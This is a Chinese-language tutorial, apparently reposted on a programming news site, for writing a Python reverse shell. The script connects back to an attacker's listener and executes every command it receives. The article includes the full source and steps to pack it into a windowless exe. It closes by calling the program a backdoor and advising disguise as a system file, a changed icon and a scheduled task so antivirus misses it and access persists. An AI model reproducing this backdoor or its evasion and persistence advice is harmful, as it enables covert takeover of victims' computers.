iis服务器助手广告
返回顶部
首页 > 资讯 > 后端开发 > Python >使用Python制作一个简易的远控终端
  • 475
分享到

使用Python制作一个简易的远控终端

Python实现远控终端Python远控终端 2023-05-14 11:05:34 475人浏览 八月长安

Python 官方文档:入门教程 => 点击学习

摘要

目录远控终端的本质python制作简易的远控1、环境2、新建项目3、编写程序4、将Python文件打包成exe文件制作远控终端的意义附完整代码远控终端的本质 1、服务端(攻击者)传输

远控终端的本质

1、服务端(攻击者)传输消息 ----> Socket连接 ----> 客户端(被攻击者)接收消息

2、客户端执行消息内容(即执行服务端传回来的命令)

3、客户端传输执行结果 ----> socket连接 ----> 服务端显示命令执行结果

python制作简易的远控

1、环境

环境:PyCharm 2021.1.1 x64 + python3.8

2、新建项目

打开pycharm,直接新建一个纯python项目。

将main.py文件中原有的代码全部清空。

3、编写程序

(1)导入需要使用的包

# 导入所需要的包
import os
from socket import *

(2)创建main并配置socket套接字信息

#导入所需要的包
......


if __name__ == '__main__':
    # 1、服务端IP地址
    IP = "192.168.6.142"
    # 2、服务端监听的端口PORT
    PORT = 9999
    # 3、socket套接字
    socket_info = (IP, PORT)

(3)创建连接方法

#导入所需要的包
......

def remote_control(info):
    # 初始化socket连接
    skt = socket(AF_INET, SOCK_STREAM)
    skt.connect(info)
    # 获得客户端角色,便于服务端执行下一步操作
    host = os.popen("whoami").read().strip()
    # 将客户端角色在每次输入命令的都显示,美化格式
    tips = f"$({host}) "
    skt.send(tips.encode())


if __name__ == '__main__':
    ......
	# 4、连接
    remote_control(socket_info)

(4)接收服务端传入的数据(即命令)

# 导入所需要的包
......


def remote_control(info):
    # 初始化socket连接
    ......
    skt.send(tips.encode())
    
    # 建立持续连接
    while True:
        # 接收服务端传入的数据(即命令),以1024个bit为一个单位
        data = skt.recv(1024)
        # 将接收的数据进行utf-8解码,并将左右空格去除
        command = data.decode('utf-8').strip()
        # 如果数据为exit,代表服务端想要断开连接,直接退出程序
        if command == 'exit':
            skt.send("exit\n".encode())
            exit(0)


if __name__ == '__main__':
    ......

(5)执行服务端传入的命令并将结果返回给服务端

# 导入所需要的包
......


def remote_control(info):
    # 初始化socket连接
    ......
    skt.send(tips.encode())
    # 建立持续连接
    while True:
        # 接收服务端传入的数据(即命令),以1024个bit为一个单位
        ......
        if command == 'exit':
            ......
        # 如果数据不为exit,执行数据的内容,即执行服务端传回来的命令,并将执行结果存放在result中
        result = os.popen(command).read()
        # 将命令执行的结果返回给服务端
        skt.send((result + tips).encode())
    # 关闭socket连接
    skt.close()


if __name__ == '__main__':
    ......

代码编写完成!

(6)测试远控终端的可用性

打开一台kali虚拟机(IP为192.168.6.142)作为服务端,使用nc监听9999端口。

连接成功,远控终端制作完成!

4、将python文件打包成exe文件

(1)pip工具安装Pyinstaller模块

Win+R打开运行 --> 输入cmd打开命令窗口

pip install Pyinstaller

(2)切换命令行的路径到需要打包的Python源文件的文件夹路径下

cd 文件路径

(3)打包python文件为exe文件

Pyinstaller -F -w 文件名.py

打包成功!

打包完成后,在要打包文件的同级目录下会新增一个dist文件夹,exe文件就在dist文件夹中。

(4)测试exe文件的可用性

kali服务端监听端口。

点击运行生成的exe文件。

连接成功!python制作远程控制终端完成!

制作远控终端的意义

本篇文章我们研究了python如何制作一个简易的远控终端,上篇我的文章研究了Java如何制作一个简易的远控终端。其实,我们制作的这个远控终端就是一个后门程序。那么大家就想了,我们的CS跟MSF都可以生成后门程序,为什么我们还要自己制作呢?

这是因为,我们不仅可以通过自己制作了解远控程序的原理。而且,由于CS跟MSF生成的后门程序特征比较明显,很多杀毒软件都会杀掉,即使没有杀掉,两三天以后也可能被杀软杀掉,不能做到一个持续化的权限获取,也就是权限维持。而我们自己制作后门程序,是我们自己写的,并没有被公开,杀软就匹配不到我们的特征值,这样杀软就不会杀掉我们的后门程序。如果我们再将我们的后门名称改为系统文件的名称,再改变图标,把后门程序添加到计划任务中,这样我们就可以做到一个很好的一个权限维持。

附完整代码

# 导入所需要的包
import os
from socket import *


def remote_control(info):
    # 初始化socket连接
    skt = socket(AF_INET, SOCK_STREAM)
    skt.connect(info)
    # 获得客户端角色,便于服务端执行下一步操作
    host = os.popen("whoami").read().strip()
    # 将客户端角色在每次输入命令的都显示,美化格式
    tips = f"$({host}) "
    skt.send(tips.encode())
    # 建立持续连接
    while True:
        # 接收服务端传入的数据(即命令),以1024个bit为一个单位
        data = skt.recv(1024)
        # 将接收的数据进行utf-8解码,并将左右空格去除
        command = data.decode('utf-8').strip()
        # 如果数据为exit,代表服务端想要断开连接,直接退出程序
        if command == 'exit':
            skt.send("exit\n".encode())
            exit(0)
        # 如果数据不为exit,执行数据的内容,即执行服务端传回来的命令,并将执行结果存放在result中
        result = os.popen(command).read()
        # 将命令执行的结果返回给服务端
        skt.send((result + tips).encode())
    # 关闭socket连接
    skt.close()


if __name__ == '__main__':
    # 1、服务端IP地址
    IP = "192.168.6.142"
    # 2、服务端监听的端口PORT
    PORT = 9999
    # 3、socket套接字
    socket_info = (IP, PORT)
    # 4、连接
    remote_control(socket_info)

以上就是使用Python制作一个简易的远控终端的详细内容,更多关于Python远控终端的资料请关注编程网其它相关文章!

--结束END--

本文标题: 使用Python制作一个简易的远控终端

本文链接: https://www.lsjlt.com/news/203136.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • 使用Python制作一个简易的远控终端
    目录远控终端的本质python制作简易的远控1、环境2、新建项目3、编写程序4、将python文件打包成exe文件制作远控终端的意义附完整代码远控终端的本质 1、服务端(攻击者)传输...
    99+
    2023-05-14
    Python实现远控终端 Python远控终端
  • 基于Java制作一个简易的远控终端
    目录远控终端的本质Java制作简易的远控1、环境2、新建项目3、新建一个Java类4、编写程序5、将项目打包成jar包并生成exe文件附完整代码远控终端的本质 1、服务端(攻击者)传...
    99+
    2023-05-14
    Java制作远控终端 Java远控终端
  • 如何使用Unity制作一个简易的计算器
    这篇文章给大家分享的是有关如何使用Unity制作一个简易的计算器的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。一、前言Hello,又见面了,今天分享如何使用Unity制作计算器,难度中等,可以用来学习,或者当成其...
    99+
    2023-06-29
  • 基于JS制作一个简易的2048游戏
    效果图 实现代码 <!DOCTYPE HTML> <html> <head> <meta http-equiv="Content-T...
    99+
    2024-04-02
  • 基于Unity制作一个简易的计算器
    目录一、前言二、效果图及源工程三、实现1.界面搭建2.代码实现四、后记一、前言 Hello,又见面了,今天分享如何使用Unity制作计算器,难度中等,可以用来学习,或者当成其他项目的...
    99+
    2024-04-02
  • Unity利用XML制作一个简易的登录系统
    通过XML文件保存账号密码,存储到本地,不连接数据库的简易登录系统。 1.创建一个XML文件,设置一个初始的账号密码。 public void Creat() { ...
    99+
    2024-04-02
  • 用Python实现一个简易的WebSoc
    </pre><pre name="code" class="python">#coding=utf-8 from threading import Thread import struct import time...
    99+
    2023-01-31
    简易 Python WebSoc
  • 利用Python制作简易的点赞器
    目录本篇博客试用场景点赞机器人核心逻辑代码层级的实现模拟登录点赞器总结在今天,任何一个社区类平台,都具备点赞功能,应运而生的就是自动点赞器,俗称刷分机/刷赞器。 本文将为你介绍一款点...
    99+
    2024-04-02
  • 使用Python怎么创建一个简易网站
    这篇文章给大家介绍使用Python怎么创建一个简易网站,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。下载所需的数据。文件下载完毕,打开pycharm,点击'New Project'创建新的项目。&nbs...
    99+
    2023-06-15
  • 怎么用QT制作一个简易的传输文件小工具
    本篇内容主要讲解“怎么用QT制作一个简易的传输文件小工具”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“怎么用QT制作一个简易的传输文件小工具”吧!先看下效果图可以看到既可以接受文件也可进行发送文...
    99+
    2023-06-22
  • 使用Python的命令行参数:一个简易指南
    Python命令行参数的使用指南 【引言】在开发和使用Python程序的过程中,经常需要从命令行中获取用户输入的参数。Python提供了丰富的库和方法来处理命令行参数,本文将介绍一些常用的方法和技巧,帮助开发者更好地使用命令行参...
    99+
    2024-02-03
    使用指南 参数使用方法 python程序 标准库
  • 使用Python编写一个简易客服机器人
    使用Python编写一个简易客服机器人?很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。1、货物信息储存到MySQL数据库中在现实情景中,购物信息的数据一般会储存到...
    99+
    2023-06-14
  • 如何利用Python制作简易的点赞器
    这篇“如何利用Python制作简易的点赞器”文章的知识点大部分人都不太理解,所以小编给大家总结了以下内容,内容详细,步骤清晰,具有一定的借鉴价值,希望大家阅读完这篇文章能有所收获,下面我们一起来看看这篇“如何利用Python制作简易的点赞器...
    99+
    2023-07-02
  • 使用Python制作一个极简四则运算解释器
    前言: 这是最近完成的一个小的 demo,一个极简四则运算解释器。前面,已经基于这个想法发了两篇博客了:浅谈一下四则运算和二叉树python的简单四则运算语法树可视化然后,前两天也就...
    99+
    2023-05-14
    Python四则运算 Python运算解释器 极简四则运算
  • 基于QT制作一个简易的传输文件小工具
    最近因为一个事情很恼火,因为办公需要用到企业微信,但是企业微信只能在一个电脑上登陆,所以当别人发文件给你的时候,你只能一个电脑接收,创建共享文件夹也很麻烦,每次都需要去访问,很麻烦。...
    99+
    2024-04-02
  • 如何使用Python写一个简易版弹球游戏
    这篇文章主要介绍如何使用Python写一个简易版弹球游戏,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!先看一下我们的最终效果图我们分9步来讲解如何写这个小游戏1.创建游戏的主界面我们用Python的内置模块Tkint...
    99+
    2023-06-14
  • 利用Python制作简易的核酸检测日历
    目录录入数据制作日历1.使用openpyxl创建表格2.定义表格初始化和单元格设置的函数3.实现日历制作一年的日历我的坐标是深圳,2022年以来,大部分时候要求24小时,少部分时候要...
    99+
    2024-04-02
  • 如何使用CSS3制作一个简单的进度条
    小编给大家分享一下如何使用CSS3制作一个简单的进度条,希望大家阅读完这篇文章之后都有所收获,下面让我们一起去探讨吧!这里只是一个小demo,一个用CSS3写的进度条。如图所示:具体代码如下:<!DOCTYPE HTML&n...
    99+
    2023-06-08
  • 利用Python实现一个简易的截图工具
    这是工作期间同事想要个截完图之后可以显示并且永远前置的截图小工具(即不会被其他程序覆盖)直接上代码: # # -*- coding: utf-8 -*- import tkinter...
    99+
    2024-04-02
  • 如何使用Python实现一个简易版Web服务器
    今天小编给大家分享一下如何使用Python实现一个简易版Web服务器的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。一、简介我...
    99+
    2023-07-05
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作